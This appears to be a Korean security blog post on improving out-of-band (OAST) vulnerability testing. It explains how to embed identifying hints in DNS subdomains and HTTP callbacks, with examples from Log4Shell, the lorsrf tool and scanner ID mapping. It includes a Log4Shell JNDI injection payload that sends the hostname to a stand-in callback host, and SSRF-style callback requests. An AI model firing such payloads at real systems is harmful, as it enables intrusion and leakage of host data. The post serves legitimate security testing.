OAST에 Hint를 더하다
OAST(OOB)를 통한 테스팅 방법은 몇년 사이 정말 많은 발전이 있었습니다.
Burpsuite의 Collaborator를 시작으로 Project Discovery의 interactsh, ZAP의 OAST 등 여러 도구들이 나타나고 이를 기반으로 한 테스팅 방법들이 연구되자 OAST 자체가 여러 취약점을 식별할 수 있는 좋은 방법으로 떠오르게 되었는데요.
그래서 오늘은 OAST 기반의 테스팅에서 좀 더 많은 정보를 얻기 위한 노력들, 그리고 각 도구들이 앞으로 고려하게 될 방향에 대한 이야기를 하려고 합니다.
OAST에 대해 더 자세히 알고 싶다면 Cullinan > OAST 문서를 참고해주세요!
Drop a hint
OAST로 인한 OOB는 언제 어떻게 발생할지 알 수 없습니다. 그래서 약간의 트릭을 사용하여 OOB 요청에서 힌트를 얻을 수 있도록 정보를 추가할 수 있습니다.
HTTP
HTTP Request는 데이터를 담을 수 있는 구간이 많기 때문에 URL Query 또는 POST Body나 Header 등으로 데이터를 요청시킬 수 있습니다. RCE 계통을 제외하면 Body나 Header는 통제하기 어렵기 때문에 보통 URL Query를 많이 활용하곤 합니다.
GET /callback?data=<html><body>.... HTTP/1.1
Host: oast.service
DNS
OAST로 인한 DNS Query에는 정보를 담을 필드가 많이 모자랍니다. 그래서 이때는 Subdomain을 활용하여 정보를 전달할 수 있습니다.
DNS_A custom_info.oast.service
;; opcode: QUERY, status: NOERROR, id: 34903
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
OAST 시 DNS 정보에 리소스를 포함하여 체크하는 방식은 작년 말에 있었던 Log4Shell 이슈에서 많이 사용되어 알려졌습니다. 이 때 취약 대상을 빠르게 식별하기 위해 서브 도메인에 취약 도메인을 붙이는 형태의 OOB를 유도하였고, 덕분에 쉽게 대상을 찾을 수 있었죠.
GET /?test=${jndi:ldap://${hostName}.oast.service} HTTP/1.1
Host: vulnapp.hahwul.com
With lorsrf
제가 최근 트윗엔 lorsrf 도구에 대한 내용이 있습니다. 이 도구는 OAST 테스팅 시 정보를 쉽게 수집할 수 있도록 HOST, PARAM 등의 정보를 OAST 주소에 붙여서 만들어줍니다.
# lorsrf --urls targets.txt \
# -c "http://oast.service" \
# --wordlist params.txt
target: http://testphp.vulnweb.com/showimage.php
payload: http://%HOST%.%PARAM%.testing.oast.service%PATH%
output: http://testphp.vulnweb.com.file.testing.oast.service/showimage.php
결국 추후에 OAST로 인한 OOB가 발생하더라도 로그를 보고 어떤 요청에서 발생한 OOB인지 짐작할 수 있겠죠.
OAST by Scan
Burpsuite, ZAP에서는 OAST 기반의 스캐닝 시 즉시 OOB가 발생하지 않는다는 점을 고려하여 여러개의 OAST 주소를 만들도록 되어 있습니다. 각 Req나 스캔 룰에 매핑되는 OAST 주소를 만들고 OOB 발생 시 매핑된 스캔 정보를 확인하여 취약/미취약 여부를 판단합니다.
<scan_id>.oast.service
# e.g
# 29c324bf464cd0da30cab234fd2327dd.oast.service
# c755625096a5c30ac59b2458a03fb97b.oast.service
# ec48fa7670b9a17c02301fabaa698983.oast.service
# 11425c81ff2847d71f18c866f481090b.oast.service
# ...
Limit
이러한 OAST 방식은 약간의 한계점을 가지고 있습니다. Subdomain의 경우 최대 length가 걸려있고, HTTP Request의 경우 온전하게 탐지하지 못할 가능성이 높습니다.
The high order two bits of every length octet must be zero, and the remaining six bits of the length field limit the label to 63 octets or less. RFC1035
Conclusion
그래서 이러한 한계 때문에 개인적으론 subdomain에 실제 데이터를 담는 것 보단 매핑된 request_id를 subdomain으로 넘겨주고, 해당 request_id에 맞는 값을 별도로 저장하는 것이 가장 좋다고 생각되네요.
스캔은 도구에서 지원해주지 않는다면 적용하기 어렵겠지만, Manual testing에선 간단하게 스크립팅하여 테스트해볼 수 있을테니 한번 이러한 방식의 테스팅도 즐겨보셨으면 합니다 :D
req_time: 2022-09-13 23:57 +0900
url: http://vulnapp.hahwul.com/render?url=//ef16afdba026a21315deafab4904b2f7.oast.service
raw: |
GET /render?url=//ef16afdba026a21315deafab4904b2f7.oast.service HTTP/1.1
Host: vulnapp.hahwul.com
X-OAST-ID: ef16afdba026a21315deafab4904b2f7